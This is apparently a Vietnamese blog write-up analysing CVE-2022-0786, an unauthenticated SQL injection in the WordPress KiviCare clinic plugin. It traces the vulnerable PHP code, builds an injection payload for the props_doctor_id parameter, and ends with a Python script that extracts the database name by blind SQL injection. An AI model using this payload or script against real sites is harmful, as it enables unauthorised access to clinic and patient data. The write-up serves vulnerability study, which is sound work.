CVE-2022-0786 (WordPress KiviCare < 2.3.9 Unauthenticated SQLi)

CVE-2022-0786 (WordPress KiviCare < 2.3.9 Unauthenticated SQLi)

KiviCare là một plugin quản lý phòng khám và bệnh nhân dành cho WordPress. Plugin này còn khá mới nên chưa phổ biến và lượng người dùng không nhiều (~1.000 lượt active).

Hôm 23/5/2022 vừa rồi một researcher đã tìm thấy lỗ hổng Unauthenticated SQLi trong plugin này với điểm CVSS đạt 8.3

Phân tích lỗ hổng

Trang wpscan có nói rằng:

The plugin does not sanitise and escape some parameters before using them in SQL statements via the ajax_post AJAX action with the get_doctor_details route

Vậy là lỗ hổng nằm ở get_doctor_details route, tìm trong source code của plugin:

'get_doctor_details'   => [ 'method' => 'get', 'action' => 'KCBookAppointmentWidgetController@getDoctors' , 'nonce' => 0 ],

Route này sẽ invoke function getDoctors tại KCBookAppointmentWidgetController, function này đầu tiên sẽ kiểm tra parameter clinic_id:

public function getDoctors () {
    $request_data = $this->request->getInputs();
        ...

    $request_data['clinic_id'] =  json_decode( stripslashes( sanitize_text_field($request_data['clinic_id'])), true);

    if(isset($request_data['clinic_id']['id'])  && !empty($request_data['clinic_id']['id']) ){
        ...
    }

    ...
}

→ Parameter clinic_id không cần phải có giá trị hợp lệ nhưng phải ở dạng JSON và phải có key id ví dụ như:

clinic_id = {"id":"1"}

Sau khi clinic_id thỏa mãn điều kiện thì function này sẽ xử lý tiếp như sau:

if(isset($request_data['clinic_id']['id'])  && !empty($request_data['clinic_id']['id']) ){

    $request_data['clinic_id']['id'] = (int)$request_data['clinic_id']['id'];
    $doctor_condition = ' ';

    if(!empty($request_data['props_doctor_id']) && !in_array($request_data['props_doctor_id'],[0,'0'])){
        if(strpos($request_data['props_doctor_id'], ',') !== false){
            if(isKiviCareProActive()){
                $doctor_condition = ' AND doctor_id IN ('.$request_data['props_doctor_id'].')';
            }else{
                $doctor_condition = ' WHERE ID IN ('.$request_data['props_doctor_id'].')';
            }
        }else{
            if(isKiviCareProActive()){
                $doctor_condition = ' AND doctor_id ='.(int)$request_data['props_doctor_id'];
            }else{
                $doctor_condition = ' WHERE ID ='.(int)$request_data['props_doctor_id'];
            }
        }
    }

    if(!empty($request_data['props_clinic_id']) && !in_array($request_data['props_clinic_id'],[0,'0'])){
        $request_data['clinic_id']['id'] = (int)$request_data['props_clinic_id'];
    }

    if(isKiviCareProActive()){
        $query = "SELECT `doctor_id` FROM {$table_name} WHERE `clinic_id` =".$request_data['clinic_id']['id'].$doctor_condition ;
    }else{
        $query = "SELECT `ID` FROM {$this->db->prefix}users {$doctor_condition}" ;
    }
    ...
}

Do đã biết trước là SQLi nên mình tập trung vào các câu truy vấn:

if(isKiviCareProActive()){
    $query = "SELECT `doctor_id` FROM {$table_name} WHERE `clinic_id` =".$request_data['clinic_id']['id'].$doctor_condition ;
}else{
    $query = "SELECT `ID` FROM {$this->db->prefix}users {$doctor_condition}" ;
}

Điều kiện isKiviCareProActive() chắc chắn trả về false vì mình đang cài bản free 😬 Vì thế nên chỉ cần để ý câu truy vấn ở dưới, $doctor_condition có thể là Injection point.

Truy ngược lên trên, bỏ qua các nhánh if(isKiviCareProActive()), mình thấy $doctor_condition được gán giá trị bởi 1 trong 2 cách:

if(strpos($request_data['props_doctor_id'], ',') !== false){

    $doctor_condition = ' WHERE ID IN ('.$request_data['props_doctor_id'].')';

}else{

    $doctor_condition = ' WHERE ID ='.(int)$request_data['props_doctor_id'];

}

Cả 2 cách này đều dùng cộng string, tuy nhiên cách thứ 2 sử dụng ép kiểu int nên để khai thác được thì phải đi vào nhánh đúng của if. Để vào nhánh này thì cần thỏa mãn strpos($request_data['props_doctor_id'], ',') !== false, điều này có nghĩa là giá trị của props_doctor_id cần phải chứa dấu ,

Xử lý xong câu if này thì mình tiếp tục đi lên trên, câu if ở trên không có gì đặc biệt:

if(!empty($request_data['props_doctor_id']) && !in_array($request_data['props_doctor_id'],[0,'0']))

Đến giờ thì đã có đầy đủ thông tin để xây dựng payload:

  • Reproduce vulnerable endpoint: Dựa vào thông tin lỗ hổng nằm ở get_doctor_details route nên mình có thể reproduce vulnerable endpoint bằng cách gửi GET request đến /wp-admin/admin-ajax.php với action=ajax_getroute_name=get_doctor_details

  • Payload

    • Đầu tiên cần có clinic_id thỏa mãn điều kiện nêu ở trên như: clinic_id={”id”:”1”}

    • Sau đó props_doctor_id sẽ chứa payload thỏa mãn điều kiện duy nhất là có chứa dấu ,: props_doctor_id=1,2)+OR+1=1--+-

      Lúc này câu truy vấn sẽ trở thành:

SELECT `ID` FROM users WHERE ID IN (1,2) OR 1=1 -- -)

Proof-of-Concept

Sample request/response (với điều kiện đúng):

Sample request/response (với điều kiện sai):

Exploit code:

import requests

db_name = ""

for i in range(1, 10):
    for j in range(65, 113):
        payload = f"1,2)+OR+SUBSTRING(database(),{i},1)=CHAR({j})--+-"
        url = "http://localhost:80/wp-admin/admin-ajax.php?action=ajax_get&route_name=get_doctor_details&clinic_id={\"id\":\"1\",\"label\":\"SAS\"}&props_doctor_id="

        r = requests.get(url + payload)

        if "true" in r.text:
            db_name += chr(j)
            print(f"DB_NAME: {db_name}")
            break